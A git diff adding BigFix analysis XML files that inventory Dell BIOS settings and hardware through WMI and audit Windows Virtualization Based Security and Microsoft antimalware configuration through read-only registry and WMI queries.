+<P><A href="http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD">http://www.dell.com/support/Manuals/us/en/19/Topic/dell-opnmang-clnt-instr-v9.0.0/Dell_Command_Monitor_Ref_Guide-v1/en-us/GUID-28F353DA-781B-4426-A01F-DBD815555AAD</A></P>
+<P><A href="https://support.bigfix.com/inspectors/WMI%20Objects_Any.html">https://support.bigfix.com/inspectors/WMI%20Objects_Any.html</A></P>
+<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSAttribute.html</A></P>
+<P><A href="http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html">http://schemas.dmtf.org/wbem/cim-html/2/CIM_BIOSEnumeration.html</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi &quot;root\dcim\sysman&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Feb 2015 21:39:34 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="3" Name="Chassis Intrusion" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="4" Name="Chassis Intrusion Status" EvaluationPeriod="PT12H">( if &quot;Disable&quot; = ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) then ERROR &quot;Disabled&quot; else ( tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Chassis Intrusion Status&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) ) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="5" Name="Auto On" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Auto On&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="6" Name="Intel AMT?" EvaluationPeriod="P2D">string values of selects &quot;AMTSupported from DCIM_AMTSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="7" Name="Intel ASF?" EvaluationPeriod="P2D">string values of selects &quot;ASFEnabled from DCIM_ASFSettings&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="8" Name="BiosSetupPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosSetupPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="9" Name="BiosBootPassword set?" EvaluationPeriod="PT12H">string values of selects &quot;IsSet from DCIM_BIOSPassword where ElementName=&apos;BiosBootPassword&apos;&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="10" Name="Password Status Lock?" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Password Status Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="11" Name="RunningOS" EvaluationPeriod="PT12H">(preceding text of first &quot;%22&quot; of following text of first &quot;,Name=%22&quot; of it as trimmed string) of string values of selects &quot;Antecedent from DCIM_RunningOS&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="12" Name="ChassisPackageType#" EvaluationPeriod="PT12H">unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;))</Property>
+    <Property ID="13" Name="ChassisPackageTypeName" EvaluationPeriod="PT12H">( if exists it then it else ERROR &quot;UNKNOWN&quot; ) of (tuple string items ( unique values of ( ( (it as string as integer) of values &quot;type&quot; of structures &quot;system_enclosure_or_chassis&quot; of smbios ); integer values of (selects &quot;ChassisPackageType from DCIM_Chassis&quot; of wmis &quot;root/dcim/sysman&quot;; selects &quot;ChassisTypes from Dell_Chassis&quot; of wmis &quot;root\DELLOMCI&quot;)) ) of &quot;Unknown, Other, Unknown, Desktop, Low Profile Desktop, Pizza Box, Mini Tower, Tower, Portable, Laptop, Notebook, Hand Held, Docking Station, All in One, Sub Notebook, Space-Saving, Lunch Box, Main System Chassis, Expansion Chassis, SubChassis, Bus Expansion Chassis, Peripheral Chassis, Storage Chassis, Rack Mount Chassis, Sealed-Case PC, Multi-system chassis, CompactPCI, AdvancedTCA, Blade, Blade Enclosure, Tablet, Convertible, Detachable&quot;)</Property>
+    <Property ID="14" Name="Num Lock (state@boot?)" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Num Lock&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="15" Name="USB" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;USB&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="16" Name="Signed Firmware Update" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Signed Firmware Update&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="17" Name="TPM PPI ACPI Support" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;TPM PPI ACPI Support&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="18" Name="Trusted Execution" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Trusted Execution&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="19" Name="OROM Keyboard Access" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;OROM Keyboard Access&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="20" Name="Enable Legacy Option ROMs" EvaluationPeriod="PT6H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Enable Legacy Option ROMs&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="21" Name="Wake-On-LAN" EvaluationPeriod="PT12H">(string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="22" Name="Processor Virtualization Technology" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Processor Virtualization Technology&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="23" Name="AC Power Recovery Mode" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;AC Power Recovery Mode&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="24" Name="Embedded SATA Controller" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Embedded SATA Controller&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="25" Name="CurrentValueName of Attributes of DCIM_BIOSEnumeration" EvaluationPeriod="P2D">unique values of (item 0 of it &amp; &quot;: &quot; &amp; unique value of (if ( /* 0 means there are no options to choose from */ (0 = item 1 of it as integer) OR /* 0 means the selection is invalid */ (0 = following text of last &quot;, &quot; of item 2 of it as integer) OR /* if the selection is outside the number of possible values, then it is invalid */ (item 1 of it as integer &lt; following text of last &quot;, &quot; of item 2 of it as integer) ) then &quot;UNKNOWN&quot; else ( (tuple string items ( (it as integer - 1) of following text of last &quot;, &quot; of it ) of item 2 of it) of it ) ) of it) of (string value of property &quot;AttributeName&quot; of it , number of string values of properties &quot;PossibleValuesDescription&quot; of it, (concatenation &quot;, &quot; of (if exists it whose(it as trimmed string != &quot;&quot;) then it else &quot;UNKOWN&quot;) of string values of properties &quot;PossibleValuesDescription&quot; of it) &amp; &quot;, &quot; &amp; (if (exists string values whose(it != &quot;0&quot;) of properties &quot;CurrentValue&quot; of it) then (string value of properties &quot;CurrentValue&quot; of it) else &quot;0&quot;) ) of ( select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from DCIM_BIOSEnumeration&quot; of it ; select objects &quot;AttributeName,CurrentValue,PossibleValuesDescription from CIM_BIOSEnumeration&quot; of it ) of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="26" Name="exists &quot;root\DELLOMCI&quot;" EvaluationPeriod="PT6H">exists wmi &quot;root\DELLOMCI&quot;</Property>
+    <Property ID="27" Name="DCIM_EthernetPort" EvaluationPeriod="PT12H">selects &quot;ElementName,PermanentAddress,EnabledDefault,EnabledState,LinkTechnology,TOEEnabledState from DCIM_EthernetPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="28" Name="DCIM_Chassis" EvaluationPeriod="PT12H">selects &quot;BreachDescription,ChassisPackageType,FirstPowerOnDate,ManufactureDate,PackageType,SecurityBreach from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="29" Name="DCIM_Chip" EvaluationPeriod="PT12H">selects &quot;Manufacturer,ElementName,Model,ElementName from DCIM_Chip&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="30" Name="DCIM_DesktopMonitor" EvaluationPeriod="PT12H">selects &quot;Description,ColorDepthBits,ColorModePreset,DisplayMode,EDIDGamma,EDIDVersionNumber,HealthState,ManufactureDate,PhysicalSizeH,PhysicalSizeV,PrimaryStatus,ProductCode,SerialNumber,StandbyModeSupported,SuspendModeSupported,VeryLowPowerSupported from DCIM_DesktopMonitor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="31" Name="DCIM_ControllerView" EvaluationPeriod="PT12H">selects &quot;BusType,ControllerFirmwareVersion,Device,DriverVersion,ElementName,PrimaryStatus,ProductName from DCIM_ControllerView&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="32" Name="DCIM_PhysicalMemory" EvaluationPeriod="PT12H">selects &quot;BankLabel,Capacity,DataWidth,ElementName,FormFactor,ManufactureDate,Manufacturer,MemoryType,Model,PartNumber,SerialNumber,SKU,Speed from DCIM_PhysicalMemory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="33" Name="DCIM_Slot" EvaluationPeriod="PT12H">selects &quot;ConnectorDescription,ConnectorLayout,ConnectorType,ElementName,Number from DCIM_Slot&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="34" Name="DCIM_USBPort" EvaluationPeriod="PT12H">selects &quot;ElementName,EnabledDefault,EnabledState,HealthState from DCIM_USBPort&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="35" Name="DCIM_Memory" EvaluationPeriod="PT12H">selects &quot;BlockSize,ElementName,EnabledState,HealthState,NumberOfBlocks,PrimaryStatus from DCIM_Memory&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="36" Name="DCIM_PCIDevice" EvaluationPeriod="PT12H">selects &quot;BusNumber,Description,DeviceNumber,ElementName,EnabledState,FunctionNumber,HealthState,PrimaryStatus from DCIM_PCIDevice&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="37" Name="DCIM_DisplayController" EvaluationPeriod="PT12H">selects &quot;ElementName,Name from DCIM_DisplayController&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="38" Name="DCIM_Fan" EvaluationPeriod="PT12H">selects &quot;ActiveCooling,ElementName,EnabledState,HealthState,PrimaryStatus,VariableSpeed from DCIM_Fan&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="39" Name="DCIM_NumericSensor" EvaluationPeriod="PT12H">selects &quot;BaseUnits,CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,RateUnits,SensorType,ValueFormulation from DCIM_NumericSensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="40" Name="DCIM_Sensor" EvaluationPeriod="PT12H">selects &quot;CurrentState,ElementName,EnabledState,HealthState,PrimaryStatus,SensorType from DCIM_Sensor&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="41" Name="DCIM_Button" EvaluationPeriod="PT12H">selects &quot;ButtonPurpose,ButtonType,DeviceID from DCIM_Button&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="42" Name="DCIM_BootSourceSetting" EvaluationPeriod="PT12H">selects &quot;ElementName,FailThroughSupported,StructuredBootString from DCIM_BootSourceSetting&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="43" Name="DCIM_AssetAcquisition" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetAcquisition&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="44" Name="DCIM_AssetSystemInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSystemInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="45" Name="DCIM_Location" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Location&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="46" Name="DCIM_AssetSupportInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetSupportInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="47" Name="DCIM_AssetOwnerInformation" EvaluationPeriod="PT12H">selects &quot;* from DCIM_AssetOwnerInformation&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="48" Name="Owner Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;PropertyOwnershipTag from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="49" Name="Asset Tag" EvaluationPeriod="P1D">(it as trimmed string) of string values whose(it as trimmed string != &quot;&quot;) of selects &quot;ElementName from DCIM_Chassis&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="50" Name="DCIM_Battery" EvaluationPeriod="PT12H">selects &quot;* from DCIM_Battery&quot; of wmi &quot;root\dcim\sysman&quot;</Property>
+    <Property ID="51" Name="WoL - Possible Values Desc" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
+    <Property ID="52" Name="WoL - StringDesc">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of &quot;Disable, 2, 3, LAN, 5, 6, LAN with PXE Boot&quot; | ERROR &quot;UNKNOWN&quot;</Property>
+    <Property ID="53" Name="WoL - Possible Values #" EvaluationPeriod="PT12H">concatenations &quot;, &quot; of (string values of selects &quot;PossibleValues from DCIM_BIOSEnumeration where AttributeName=&apos;Wake-On-LAN&apos;&quot; of wmi &quot;root\dcim\sysman&quot;)</Property>
+    <Property ID="54" Name="Deep Sleep Control" EvaluationPeriod="PT12H">tuple string item ( (it - 1) of integer (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) ) of concatenation &quot;, &quot; of (string values of selects &quot;PossibleValuesDescription from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | (string value of selects &quot;CurrentValue from DCIM_BIOSEnumeration where AttributeName=&apos;Deep Sleep Control&apos;&quot; of wmi &quot;root\dcim\sysman&quot;) | ERROR &quot;UNKNOWN&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes b/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes
new file mode 100644
index 000000000..ada8481ad
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Virtualization Based Security - Windows (2998545).bes	
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Virtualization Based Security - Windows
+  ID       : 2998545
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:45:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Virtualization Based Security - Windows</Title>
+    <Description>This analysis provides details regarding the capabilities of a Windows device with regards to Virtualization Based Security (Device Guard, Credential Guard, etc) </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="VBS - Hypervisor Support - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="2" Name="VBS - Secure Boot Enabled - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="3" Name="VBS - DMA Protection Available - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;AvailableSecurityProperties&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 3</Property>
+    <Property ID="4" Name="VBS - Credential Guard Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="5" Name="VBS - HVCI Configured - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesConfigured&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="6" Name="VBS - Credential Guard Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 1</Property>
+    <Property ID="7" Name="VBS - HVCI Running - Windows" EvaluationPeriod="P1D">set of (integer values of property &quot;SecurityServicesRunning&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;) contains 2</Property>
+    <Property ID="8" Name="VBS - Configured - Windows" EvaluationPeriod="P1D"> (it contains 1 or it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
+    <Property ID="9" Name="VBS - Running - Windows" EvaluationPeriod="P1D">(it contains 2) of set of (integer values of property &quot;VirtualizationBasedSecurityStatus&quot; of select objects &quot;* from Win32_DeviceGuard&quot; of wmi &quot;root\Microsoft\Windows\DeviceGuard&quot;)</Property>
+    <Property ID="10" Name="VBS - Error Logs - Windows" EvaluationPeriod="P1D">descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) whose (source of it = &quot;Microsoft-Windows-Wininit&quot; and (event id of it = 15 or event id of it = 16 or event id of it = 17)) of system event log</Property>
+    <Property ID="11" Name="VBS - Remote Credential Guard - Windows" EvaluationPeriod="P1D">exists values &quot;DisableRestrictedAdmin&quot; whose (it = 0) of keys &quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes b/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes
new file mode 100644
index 000000000..ee11902d5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/WD - MSE - SCEP - Microsoft Antimalware Audit - Windows (2994634).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WD - MSE - SCEP - Microsoft Antimalware Audit - Windows
+  ID       : 2994634
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-30T15:02:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WD - MSE - SCEP - Microsoft Antimalware Audit - Windows</Title>
+    <Description><![CDATA[<P><STRONG>Windows XP through Windows 7:</STRONG>&nbsp; Microsoft Security Essentials</P>
+<P><STRONG>Windows 8 and higher:</STRONG>&nbsp; Windows Defender</P>
+<P><STRONG>Managed version:&nbsp;</STRONG> System Center Endpoint Protection, formerly ForeFront</P>
+<P>Windows Vista and Windows 7 also have something called "Windows Defender" which was much more limited than MSE. Windows 8 has both of these 'products' rolled into one name.</P>
+<P>&nbsp;</P>
+<P>Latest Version of this Analysis can be found here:&nbsp; <A href="http://bigfix.me/analysis/details/2994633">http://bigfix.me/analysis/details/2994633</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows Vista or Higher */ version of operating system >= "6.0"]]></Relevance>
+    <Relevance><![CDATA[( /* Check for MSE/SCEP install */ (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Microsoft Security Client" of native registry) OR (exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware" of native registry)) OR (/* Windows 8 or Higher has it built in */ version of operating system >= "6.2")]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Jan 2014 21:49:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="ProductType" EvaluationPeriod="P2D">values &quot;ProductType&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="2" Name="AntiSpywareDisabled?" EvaluationPeriod="P2D">values &quot;DisableAntiSpyware&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)</Property>
+    <Property ID="4" Name="File Versions" EvaluationPeriod="P2D">(multiplicity of it, it) of unique values of versions of files whose(exists version of it) of folders ((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
+    <Property ID="5" Name="Folder" EvaluationPeriod="P2D">((if (version of client &lt; &quot;8.1&quot;) then it else if (x64 of operating system) then (expand x64 environment string of it) else (expand environment string of it)) of ((preceding texts of lasts &quot;\&quot; of (it as string)) of values &quot;RemediationExe&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry)))</Property>
+    <Property ID="6" Name="#Days To Delete Quarantined" EvaluationPeriod="P2D">(values &quot;PurgeItemsAfterDelay&quot; of keys &quot;Quarantine&quot; of (keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware&quot; of native registry ; keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender&quot; of native registry))</Property>
